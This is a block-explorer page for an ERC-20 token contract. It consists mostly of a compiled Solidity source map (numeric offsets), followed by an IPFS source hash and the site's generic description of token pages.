:-1;;;2907:73:0;;8669:2:1;2907:73:0::1;::::0;::::1;8651:21:1::0;8708:2;8688:18;;;8681:30;8747:34;8727:18;;;8720:62;-1:-1:-1;;;8798:18:1;;;8791:36;8844:19;;2907:73:0::1;8467:402:1::0;2907:73:0::1;3017:6;::::0;;2996:38:::1;::::0;-1:-1:-1;;;;;2996:38:0;;::::1;::::0;3017:6;::::1;::::0;2996:38:::1;::::0;::::1;3045:6;:17:::0;;-1:-1:-1;;;;;;3045:17:0::1;-1:-1:-1::0;;;;;3045:17:0;;;::::1;::::0;;;::::1;::::0;;2826:244::o;7208:335::-;-1:-1:-1;;;;;7301:19:0;;7293:68;;;;-1:-1:-1;;;7293:68:0;;9076:2:1;7293:68:0;;;9058:21:1;9115:2;9095:18;;;9088:30;9154:34;9134:18;;;9127:62;-1:-1:-1;;;9205:18:1;;;9198:34;9249:19;;7293:68:0;8874:400:1;7293:68:0;-1:-1:-1;;;;;7380:21:0;;7372:68;;;;-1:-1:-1;;;7372:68:0;;9481:2:1;7372:68:0;;;9463:21:1;9520:2;9500:18;;;9493:30;9559:34;9539:18;;;9532:62;-1:-1:-1;;;9610:18:1;;;9603:32;9652:19;;7372:68:0;9279:398:1;7372:68:0;-1:-1:-1;;;;;7451:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7503:32;;1361:25:1;;;7503:32:0;;1334:18:1;7503:32:0;;;;;;;7208:335;;;:::o;7655:3556::-;-1:-1:-1;;;;;7743:18:0;;7735:68;;;;-1:-1:-1;;;7735:68:0;;9884:2:1;7735:68:0;;;9866:21:1;9923:2;9903:18;;;9896:30;9962:34;9942:18;;;9935:62;-1:-1:-1;;;10013:18:1;;;10006:35;10058:19;;7735:68:0;9682:401:1;7735:68:0;-1:-1:-1;;;;;7822:16:0;;7814:64;;;;-1:-1:-1;;;7814:64:0;;10290:2:1;7814:64:0;;;10272:21:1;10329:2;10309:18;;;10302:30;10368:34;10348:18;;;10341:62;-1:-1:-1;;;10419:18:1;;;10412:33;10462:19;;7814:64:0;10088:399:1;7814:64:0;7906:1;7897:6;:10;7889:64;;;;-1:-1:-1;;;7889:64:0;;10694:2:1;7889:64:0;;;10676:21:1;10733:2;10713:18;;;10706:30;10772:34;10752:18;;;10745:62;-1:-1:-1;;;10823:18:1;;;10816:39;10872:19;;7889:64:0;10492:405:1;7889:64:0;7964:17;8013:6;8042:7;2494;2521:6;-1:-1:-1;;;;;2521:6:0;;2456:79;8042:7;-1:-1:-1;;;;;8034:15:0;:4;-1:-1:-1;;;;;8034:15:0;;;:32;;;;-1:-1:-1;2494:7:0;2521:6;-1:-1:-1;;;;;8053:13:0;;;2521:6;;8053:13;;8034:32;8030:2823;;;8095:79;8170:3;8095:70;8118:15;;8107:9;;:26;8106:58;;8150:14;;8106:58;;;8136:12;;8106:58;8095:6;;:10;:70::i;:::-;:74;;:79::i;:::-;8083:91;;8222:10;;8206:12;:26;8203:184;;8271:12;8259:25;;;;:11;:25;;;;;;8287:2;-1:-1:-1;8251:75:0;;;;-1:-1:-1;;;8251:75:0;;11104:2:1;8251:75:0;;;11086:21:1;;;11123:18;;;11116:30;11182:34;11162:18;;;11155:62;11234:18;;8251:75:0;10902:356:1;8251:75:0;8356:12;8344:25;;;;:11;:25;;;;;:27;;;;;;:::i;:::-;;;;;;8203:184;-1:-1:-1;;;;;8407:16:0;;;;;;:10;:16;;;;;;;;:50;;;;-1:-1:-1;8441:15:0;;-1:-1:-1;;;;;8427:30:0;;;8441:15;;8427:30;;8407:50;:67;;;;-1:-1:-1;;;;;;8463:11:0;;;;;;:7;:11;;;;;;;;8461:13;8407:67;8403:297;;;8514:12;;8504:6;:22;;8496:60;;;;-1:-1:-1;;;8496:60:0;;11605:2:1;8496:60:0;;;11587:21:1;11644:2;11624:18;;;11617:30;11683:27;11663:18;;;11656:55;11728:18;;8496:60:0;11403:349:1;8496:60:0;8609:14;;8599:6;8583:13;8593:2;-1:-1:-1;;;;;6358:18:0;6331:7;6358:18;;;:9;:18;;;;;;;6265:119;8583:13;:22;;;;:::i;:::-;:40;;8575:79;;;;-1:-1:-1;;;8575:79:0;;12089:2:1;8575:79:0;;;12071:21:1;12128:2;12108:18;;;12101:30;12167:28;12147:18;;;12140:56;12213:18;;8575:79:0;11887:350:1;8575:79:0;8673:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8403:297;-1:-1:-1;;;;;8721:14:0;;;;;;:10;:14;;;;;;;;8720:15;:32;;;;-1:-1:-1;;;;;;8741:11:0;;;;;;:7;:11;;;;;;;;8739:13;8720:32;8716:152;;;8807:14;;8797:6;8781:13;8791:2;-1:-1:-1;;;;;6358:18:0;6331:7;6358:18;;;:9;:18;;;;;;;6265:119;8781:13;:22;;;;:::i;:::-;:40;;8773:79;;;;-1:-1:-1;;;8773:79:0;;12089:2:1;8773:79:0;;;12071:21:1;12128:2;12108:18;;;12101:30;12167:28;12147:18;;;12140:56;12213:18;;8773:79:0;11887:350:1;8773:79:0;-1:-1:-1;;;;;8887:14:0;;;;;;:10;:14;;;;;;;;:38;;;;-1:-1:-1;;;;;;8905:20:0;;8920:4;8905:20;;8887:38;8884:172;;;8958:82;9036:3;8958:73;8981:16;;8970:9;;:27;8969:61;;9015:15;;8969:61;;;9000:13;;8958:6;;:10;:73::i;:82::-;8946:94;;8884:172;-1:-1:-1;;;;;9075:21:0;;9091:4;9075:21;;;;:38;;-1:-1:-1;;;;;;9100:13:0;;;;;;:7;:13;;;;;;;;9075:38;9072:467;;;9133:20;9203:12;;9193:6;:22;9176:348;;-1:-1:-1;9274:2:0;9176:348;;;9375:16;;9364:9;;:27;:60;;9409:15;;9364:60;;;9394:13;;9364:60;9462:12;;9348:76;;-1:-1:-1;9458:46:0;;9477:26;:8;9348:76;9477:12;:26::i;:::-;9458:3;:46::i;:::-;9447:57;;9176:348;9114:425;9072:467;-1:-1:-1;;;;;9551:16:0;;;;;;:10;:16;;;;;;;;9550:17;:36;;;;-1:-1:-1;;;;;;9572:14:0;;;;;;:10;:14;;;;;;;;9571:15;9550:36;:60;;;;-1:-1:-1;;;;;;9590:20:0;;9605:4;9590:20;;9550:60;9546:115;;;9644:1;9632:13;;9546:115;9726:4;9677:28;6358:18;;;:9;:18;;;;;;9751:10;;;;;;;:21;;;;-1:-1:-1;9766:6:0;;;;9765:7;9751:21;:39;;;;-1:-1:-1;;;;;;9776:14:0;;;;;;:10;:14;;;;;;;;9751:39;:54;;;;-1:-1:-1;9794:11:0;;;;;;;9751:54;:86;;;;;9819:18;;9809:9;;:28;9751:86;9747:1095;;;9877:13;;9862:12;:28;9858:90;;;9927:1;9915:9;:13;9858:90;9991:17;;9970:20;:38;9966:132;;;10031:67;10048:49;10052:6;10059:37;10063:20;10084:11;;10059:3;:37::i;10048:49::-;10031:16;:67::i;:::-;10146:21;10237:35;10250:21;10237:12;:35::i;:::-;10310:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;10356:12:0;10340:13;:28;-1:-1:-1;9747:1095:0;;;10409:6;;;;10408:7;:25;;;;-1:-1:-1;;;;;;10419:14:0;;;;;;:10;:14;;;;;;;;10408:25;:40;;;;-1:-1:-1;10437:11:0;;;;;;;10408:40;:72;;;;;10462:18;;10452:9;;:28;10408:72;10405:437;;;10526:17;;10505:20;:38;10501:132;;;10566:67;10583:49;10587:6;10594:37;10598:20;10619:11;;10594:3;:37::i;10566:67::-;10681:21;10772:35;10785:21;10772:12;:35::i;:::-;10482:360;10405:437;8068:2785;8030:2823;10868:11;;10865:161;;10936:4;10918:24;;;;:9;:24;;;;;;:39;;10947:9;10918:28;:39::i;:::-;10911:4;10893:24;;;;:9;:24;;;;;;;:64;;;;10975:39;;-1:-1:-1;;;;;10975:39:0;;;;;;;11004:9;1361:25:1;;1349:2;1334:18;;1215:177;10975:39:0;;;;;;;;10865:161;-1:-1:-1;;;;;11052:15:0;;;;;;:9;:15;;;;;;:29;;11072:8;11052:19;:29::i;:::-;-1:-1:-1;;;;;11036:15:0;;;;;;:9;:15;;;;;:45;11106:40;11124:21;:6;11135:9;11124:10;:21::i;:::-;-1:-1:-1;;;;;11106:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11092:13:0;;;;;;;:9;:13;;;;;:54;;;;11162:41;;;11181:21;:6;11192:9;11181:10;:21::i;:::-;11162:41;;1361:25:1;;;1349:2;1334:18;11162:41:0;;;;;;;7724:3487;;7655:3556;;;:::o;1348:190::-;1434:7;1470:12;1462:6;;;;1454:29;;;;-1:-1:-1;;;1454:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1494:9:0;1506:5;1510:1;1506;:5;:::i;:::-;1494:17;1348:190;-1:-1:-1;;;;;1348:190:0:o;1546:246::-;1604:7;1628:1;1633;1628:6;1624:47;;-1:-1:-1;1658:1:0;1651:8;;1624:47;1681:9;1693:5;1697:1;1693;:5;:::i;:::-;1681:17;-1:-1:-1;1726:1:0;1717:5;1721:1;1681:17;1717:5;:::i;:::-;:10;1709:56;;;;-1:-1:-1;;;1709:56:0;;12799:2:1;1709:56:0;;;12781:21:1;12838:2;12818:18;;;12811:30;12877:34;12857:18;;;12850:62;-1:-1:-1;;;12928:18:1;;;12921:31;12969:19;;1709:56:0;12597:397:1;1709:56:0;1783:1;1546:246;-1:-1:-1;;;1546:246:0:o;1800:132::-;1858:7;1885:39;1889:1;1892;1885:39;;;;;;;;;;;;;;;;;:3;:39::i;11221:98::-;11278:7;11305:1;11303;:3;11302:9;;11310:1;11302:9;;;-1:-1:-1;11308:1:0;11221:98;-1:-1:-1;11221:98:0:o;11327:483::-;5471:6;:13;;-1:-1:-1;;5471:13:0;5480:4;5471:13;;;11429:16:::1;::::0;;11443:1:::1;11429:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11429:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11429:16:0::1;11405:40;;11474:4;11456;11461:1;11456:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11456:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11500:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11500:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11456:7;;11500:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11490:4;11495:1;11490:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11490:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11565:15:::1;::::0;11533:62:::1;::::0;11550:4:::1;::::0;11565:15:::1;11583:11:::0;11533:8:::1;:62::i;:::-;11606:15;::::0;:196:::1;::::0;-1:-1:-1;;;11606:196:0;;-1:-1:-1;;;;;11606:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11687:11;;11606:15:::1;::::0;11729:4;;11756::::1;::::0;11776:15:::1;::::0;11606:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5507:6:0;:14;;-1:-1:-1;;5507:14:0;;;-1:-1:-1;;;;11327:483:0:o;12747:92::-;12804:10;;:27;;-1:-1:-1;;;;;12804:10:0;;;;:27;;;;;12824:6;;12804:10;:27;:10;:27;12824:6;12804:10;:27;;;;;;;;;;;;;;;;;;;;;12747:92;:::o;1017:179::-;1075:7;;1107:5;1111:1;1107;:5;:::i;:::-;1095:17;;1136:1;1131;:6;;1123:46;;;;-1:-1:-1;;;1123:46:0;;14450:2:1;1123:46:0;;;14432:21:1;14489:2;14469:18;;;14462:30;14528:29;14508:18;;;14501:57;14575:18;;1123:46:0;14248:351:1;1204:136:0;1262:7;1289:43;1293:1;1296;1289:43;;;;;;;;;;;;;;;;;:3;:43::i;1940:189::-;2026:7;2061:12;2054:5;2046:28;;;;-1:-1:-1;;;2046:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2085:9:0;2097:5;2101:1;2097;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:180::-;2566:6;2619:2;2607:9;2598:7;2594:23;2590:32;2587:52;;;2635:1;2632;2625:12;2587:52;-1:-1:-1;2658:23:1;;2507:180;-1:-1:-1;2507:180:1:o;2692:118::-;2778:5;2771:13;2764:21;2757:5;2754:32;2744:60;;2800:1;2797;2790:12;2815:241;2871:6;2924:2;2912:9;2903:7;2899:23;2895:32;2892:52;;;2940:1;2937;2930:12;2892:52;2979:9;2966:23;2998:28;3020:5;2998:28;:::i;3061:388::-;3129:6;3137;3190:2;3178:9;3169:7;3165:23;3161:32;3158:52;;;3206:1;3203;3196:12;3158:52;3245:9;3232:23;3264:31;3289:5;3264:31;:::i;:::-;3314:5;-1:-1:-1;3371:2:1;3356:18;;3343:32;3384:33;3343:32;3384:33;:::i;:::-;3436:7;3426:17;;;3061:388;;;;;:::o;3454:309::-;3519:6;3527;3580:2;3568:9;3559:7;3555:23;3551:32;3548:52;;;3596:1;3593;3586:12;3548:52;3635:9;3622:23;3654:28;3676:5;3654:28;:::i;3768:356::-;3970:2;3952:21;;;3989:18;;;3982:30;4048:34;4043:2;4028:18;;4021:62;4115:2;4100:18;;3768:356::o;4129:127::-;4190:10;4185:3;4181:20;4178:1;4171:31;4221:4;4218:1;4211:15;4245:4;4242:1;4235:15;4261:416;4350:1;4387:5;4350:1;4401:270;4422:7;4412:8;4409:21;4401:270;;;4481:4;4477:1;4473:6;4469:17;4463:4;4460:27;4457:53;;;4490:18;;:::i;:::-;4540:7;4530:8;4526:22;4523:55;;;4560:16;;;;4523:55;4639:22;;;;4599:15;;;;4401:270;;;4405:3;4261:416;;;;;:::o;4682:806::-;4731:5;4761:8;4751:80;;-1:-1:-1;4802:1:1;4816:5;;4751:80;4850:4;4840:76;;-1:-1:-1;4887:1:1;4901:5;;4840:76;4932:4;4950:1;4945:59;;;;5018:1;5013:130;;;;4925:218;;4945:59;4975:1;4966:10;;4989:5;;;5013:130;5050:3;5040:8;5037:17;5034:43;;;5057:18;;:::i;:::-;-1:-1:-1;;5113:1:1;5099:16;;5128:5;;4925:218;;5227:2;5217:8;5214:16;5208:3;5202:4;5199:13;5195:36;5189:2;5179:8;5176:16;5171:2;5165:4;5162:12;5158:35;5155:77;5152:159;;;-1:-1:-1;5264:19:1;;;5296:5;;5152:159;5343:34;5368:8;5362:4;5343:34;:::i;:::-;5413:6;5409:1;5405:6;5401:19;5392:7;5389:32;5386:58;;;5424:18;;:::i;:::-;5462:20;;4682:806;-1:-1:-1;;;4682:806:1:o;5493:140::-;5551:5;5580:47;5621:4;5611:8;5607:19;5601:4;5580:47;:::i;5638:168::-;5711:9;;;5742;;5759:15;;;5753:22;;5739:37;5729:71;;5780:18;;:::i;6163:251::-;6233:6;6286:2;6274:9;6265:7;6261:23;6257:32;6254:52;;;6302:1;6299;6292:12;6254:52;6334:9;6328:16;6353:31;6378:5;6353:31;:::i;7340:306::-;7428:6;7436;7444;7497:2;7485:9;7476:7;7472:23;7468:32;7465:52;;;7513:1;7510;7503:12;7465:52;7542:9;7536:16;7526:26;;7592:2;7581:9;7577:18;7571:25;7561:35;;7636:2;7625:9;7621:18;7615:25;7605:35;;7340:306;;;;;:::o;7930:245::-;7997:6;8050:2;8038:9;8029:7;8025:23;8021:32;8018:52;;;8066:1;8063;8056:12;8018:52;8098:9;8092:16;8117:28;8139:5;8117:28;:::i;11263:135::-;11302:3;11323:17;;;11320:43;;11343:18;;:::i;:::-;-1:-1:-1;11390:1:1;11379:13;;11263:135::o;11757:125::-;11822:9;;;11843:10;;;11840:36;;;11856:18;;:::i;12242:128::-;12309:9;;;12330:11;;;12327:37;;;12344:18;;:::i;12375:217::-;12415:1;12441;12431:132;;12485:10;12480:3;12476:20;12473:1;12466:31;12520:4;12517:1;12510:15;12548:4;12545:1;12538:15;12431:132;-1:-1:-1;12577:9:1;;12375:217::o;13131:127::-;13192:10;13187:3;13183:20;13180:1;13173:31;13223:4;13220:1;13213:15;13247:4;13244:1;13237:15;13263:980;13525:4;13573:3;13562:9;13558:19;13604:6;13593:9;13586:25;13630:2;13668:6;13663:2;13652:9;13648:18;13641:34;13711:3;13706:2;13695:9;13691:18;13684:31;13735:6;13770;13764:13;13801:6;13793;13786:22;13839:3;13828:9;13824:19;13817:26;;13878:2;13870:6;13866:15;13852:29;;13899:1;13909:195;13923:6;13920:1;13917:13;13909:195;;;13988:13;;-1:-1:-1;;;;;13984:39:1;13972:52;;14079:15;;;;14044:12;;;;14020:1;13938:9;13909:195;;;-1:-1:-1;;;;;;;14160:32:1;;;;14155:2;14140:18;;14133:60;-1:-1:-1;;;14224:3:1;14209:19;14202:35;14121:3;13263:980;-1:-1:-1;;;13263:980:1:o

Swarm Source

ipfs://38139ab94049e14b203438c278902cb7d6cafe0bfad2108805f9f234c75e249f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.